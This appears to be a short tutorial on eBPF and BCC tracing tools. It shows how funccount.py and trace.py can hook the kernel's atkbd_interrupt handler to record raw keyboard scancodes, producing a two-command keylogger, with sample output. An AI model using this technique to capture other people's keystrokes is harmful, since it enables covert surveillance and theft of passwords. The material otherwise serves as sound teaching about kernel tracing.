eBPF is a virtual machine implemented inside the kernel. It gives user-space programs the possibility to inject kernel code that runs in a safe environment (sandbox). The injected code has access to kernel structures like any regular kernel code, but it can't harm or break the system (an in-kernel verifier does a static analysis of the code, if the check doesn't pass the code is not accepted and you get an error, before running any code at all).
BCC (BPF Compiler Collection) is a front-end to eBPF, it provides a set of very useful tools on top of eBPF that allow to do amazing things (tracing, profiling, code inspection, etc.).
Let's pretend we don't know anything about the kernel and we want to write a keylogger.
The very first thing that we need to do is to figure out how the kernel receives keys from the keyboard. Knowing a little bit how computers work, we may guess that keys are received as interrupts.
So, let's try to use a tool in BCC called
funccount.py. This tool counts how many times one (or more) function(s), passed as argument, are called in the kernel, all at runtime. It accepts wildcards (similar to file globbing), so let's start to count all functions that are called
"*interrupt*"(because I guess an IRQ handler of a keyboard interrupt should be called "something...interrupt...something else"):
While funccount.py is running we press some random keys on the keyboard, then we stop it with CTRL+C and we get an output like the following:
# ./funccout.py '*interrupt*'
We've got many interrupt handlers here... but, among those,
FUNC COUNT wait_for_completion_interruptible 1 arch_show_interrupts 1 ww_mutex_lock_interruptible.part.10 14 ahci_handle_port_interrupt 26 ww_mutex_lock_interruptible 31 atkbd_interrupt 70 i915_mutex_lock_interruptible 71 ath9k_btcoex_handle_interrupt 80 ath9k_hw_kill_interrupts 84 ath9k_hw_resume_interrupts 85 __ath9k_hw_enable_interrupts 109 show_interrupts 489 psmouse_interrupt 633 i8042_interrupt 774 mutex_lock_interruptible_nested 875 serio_interrupt 906 note_interrupt 930 add_interrupt_randomness 1030 hrtimer_interrupt 2459 get_next_timer_interrupt 14771 __next_timer_interrupt 55993 generic_smp_call_function_single_interrupt 63830
atkbd_interruptlooks really interesting for our purpose. It's likely the interrupt handler that we were looking for. Now, inspecting the kernel source code we find that the prototype of this function is the following:
We got it! It looks like
static irqreturn_t atkbd_interrupt(struct serio *serio, unsigned char data, unsigned int flags)
datais what we need to intercept all keys that are pressed on the keyboard.
To do so we use another tool provided by BCC:
trace.py. This tool allows to trace any function in the kernel and inspect its argument:
And here's our keylogger, just two commands, knowing a very little about kernel and programming in general.
# ./trace.py 'atkbd_interrupt(struct serio *serio, unsigned char data, unsigned int flags) "data=0x%x" data' ... PID TID COMM FUNC - 0 0 swapper/3 atkbd_interrupt data=0x1e 0 0 swapper/3 atkbd_interrupt data=0x9e 0 0 swapper/3 atkbd_interrupt data=0x31 0 0 swapper/3 atkbd_interrupt data=0xb1 0 0 swapper/3 atkbd_interrupt data=0x20 0 0 swapper/3 atkbd_interrupt data=0xa0 0 0 swapper/3 atkbd_interrupt data=0x13 0 0 swapper/3 atkbd_interrupt data=0x93 0 0 swapper/3 atkbd_interrupt data=0x12 0 0 swapper/3 atkbd_interrupt data=0x92 0 0 swapper/3 atkbd_interrupt data=0x1e 0 0 swapper/3 atkbd_interrupt data=0x9e ...
NOTE: if you test this simple example on your box you may notice that any time you press a key on the keyboard you get 2 interrupts: 1 when the key is pressed and another when the key is released. The one when the key is released returns a value with the most significant bit set: this can be used to distinguish between a "key pressed" event and a "key released" event.
At this point the only thing that you need is to log these data somewhere and decode each number (scancode) into the corresponding key... and you have your keylogger.